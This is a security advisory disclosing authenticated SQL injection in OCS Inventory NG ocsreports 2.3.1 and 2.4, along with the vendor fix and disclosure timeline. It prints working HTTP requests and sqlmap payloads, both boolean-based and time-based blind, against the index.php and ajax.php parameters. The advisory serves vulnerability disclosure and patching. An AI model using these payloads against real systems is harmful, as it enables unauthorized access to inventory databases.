Affected Products
OCS Inventory NG ocsreports 2.4
OCS Inventory NG ocsreports 2.3.1
(older/other releases have not been tested)
References
https://www.secuvera.de/advisories/secuvera-SA-2017-04.txt (used for updates)
https://www.ocsinventory-ng.org/en/ocs-inventory-server-2-4-1-has-been-released/ (Release announcement of OCS Inventory 2.4.1)
Summary:
Open Computer and Software Inventory Next Generation (OCS inventory NG) is free software that
enables users to inventory IT assets. (Source: Wikipedia)
OCS Reports for OCS Inventory is a web application to manage the OCS Inventory Server and Clients.
The web application is prone to SQL injection (SQLi) attacks.
Effect:
An authenticated attacker is able to gain full access to data stored within database.
Vulnerable Scripts:
1) index.php: Function "visu_search" ("Search with various criteria") GET-parameter "value"
2) ajax.php: Function "visu_groups" POST-parameter "columns%5B0%5D%5Bname%5D" ("columns[0][name]" not url-encoded style for better reading)
Examples:
1) The following request of an authenticated readonly user was used in conjunction with sqlmap to exploit the issue:
GET /index.php?function=visu_search&prov=allsoft&value=somesoft HTTP/1.1
Host: <HOST>
Cookie: PHPSESSID=<Valid Session Identifyer>; VERS=7011; Connection: close
SQLMap Output:
sqlmap identified the following injection point(s) with a total of 232 HTTP(s) requests:
---
Parameter: value (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: function=visu_search&prov=allsoft&value=somesoft' AND 6455=6455 AND 'Ymqk'='Ymqk
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: function=visu_search&prov=allsoft&value=somesoft' AND SLEEP(5) AND 'LhKg'='LhKg
---
2)
POST /ajax.php?function=visu_groups&no_header=true&no_footer=true HTTP/1.1
Host: <HOST>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1434
Cookie: PHPSESSID=<Valid Session Identifier>; VERS=7011;
Connection: close
draw=4&columns%5B0%5D%5Bdata%5D=NAME&columns%5B0%5D%5Bname%5D=h.NAME&columns%5B0%5D%5Bsearchable%5D=true&\
columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&\
columns%5B1%5D%5Bdata%5D=ID&columns%5B1%5D%5Bname%5D=h.ID&columns%5B1%5D%5Bsearchable%5D=true&\
columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&\
columns%5B2%5D%5Bdata%5D=DESCRIPTION&columns%5B2%5D%5Bname%5D=h.DESCRIPTION&columns%5B2%5D%5Bsearchable%5D=true&\
columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&\
columns%5B3%5D%5Bdata%5D=LASTDATE&columns%5B3%5D%5Bname%5D=h.LASTDATE&columns%5B3%5D%5Bsearchable%5D=true&\
columns%5B3%5D%5Borderable%5D=true&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&\
columns%5B4%5D%5Bdata%5D=NBRE&columns%5B4%5D%5Bname%5D=NBRE&columns%5B4%5D%5Bsearchable%5D=false&columns%5B4%5D%5Borderable%5D=false&\
columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=0&order%5B0%5D%5Bdir%5D=asc&\
start=0&length=10&search%5Bvalue%5D=PENTESTME&search%5Bregex%5D=false&CSRF_85=8cfd903726e71489fd6afc44e9f3bfc002b598e0&SUP_COL=&RAZ=&\
LANG=&CONFIRM_CHECK=&onglet=STAT&visible_col%5B%5D=0&visible_col%5B%5D=1&visible_col%5B%5D=2&visible_col%5B%5D=3&visible_col%5B%5D=4&ocs%5B%5D=&\
<VALID Anti-CSRF-Token>
SQLMap Output:
sqlmap identified the following injection point(s) with a total of 232 HTTP(s) requests:
---
Parameter: columns%5B0%5D%5Bname%5D (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: draw=4&columns%5B0%5D%5Bdata%5D=NAME&columns%5B0%5D%5Bname%5D=h.NAME' AND SLEEP(5) AND 'LhKg'='LhKg&columns%5B0%5D%5Bsearchable%5D=true&\
columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&\
columns%5B1%5D%5Bdata%5D=ID&columns%5B1%5D%5Bname%5D=h.ID&columns%5B1%5D%5Bsearchable%5D=true&\
columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&\
columns%5B2%5D%5Bdata%5D=DESCRIPTION&columns%5B2%5D%5Bname%5D=h.DESCRIPTION&columns%5B2%5D%5Bsearchable%5D=true&\
columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&\
columns%5B3%5D%5Bdata%5D=LASTDATE&columns%5B3%5D%5Bname%5D=h.LASTDATE&columns%5B3%5D%5Bsearchable%5D=true&\
columns%5B3%5D%5Borderable%5D=true&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&\
columns%5B4%5D%5Bdata%5D=NBRE&columns%5B4%5D%5Bname%5D=NBRE&columns%5B4%5D%5Bsearchable%5D=false&columns%5B4%5D%5Borderable%5D=false&\
columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=0&order%5B0%5D%5Bdir%5D=asc&\
start=0&length=10&search%5Bvalue%5D=PENTESTME&search%5Bregex%5D=false&CSRF_85=8cfd903726e71489fd6afc44e9f3bfc002b598e0&SUP_COL=&RAZ=&\
LANG=&CONFIRM_CHECK=&onglet=STAT&visible_col%5B%5D=0&visible_col%5B%5D=1&visible_col%5B%5D=2&visible_col%5B%5D=3&visible_col%5B%5D=4&ocs%5B%5D=&\
<VALID Anti-CSRF-Token>
---
Solution:
Install OCS Inventory Release 2.4.1 or newer.
Disclosure Timeline:
2017/12/15 vendor contacted, asked for security contact information
2018/01/02 contacted vendor again after no answer was received so far
2018/01/02 response of responsible contact
2018/01/22 Sent technical details
2018/02/12 Developer replied proposing fix
2018/03/28 Developer contacted us to announce the upcoming release
2018/04/05 OCS Version 2.4.1 was released
2018/08/09 Release of the security advisory
Credits
Simon Bieber, secuvera GmbH
sbieber@secuvera.de
https://www.secuvera.de
Thanks to:
Michael Hermann, secuvera GmbH
for his support!
Gilles Dubois and Damien Belliard, factorfx
for fixing this issue!
Disclaimer:
All information is provided without warranty. The intent is to provide informa-
tion to secure infrastructure and/or systems, not to be able to attack or damage.
Therefore secuvera shall not be liable for any direct or indirect damages that
might be caused by using this information.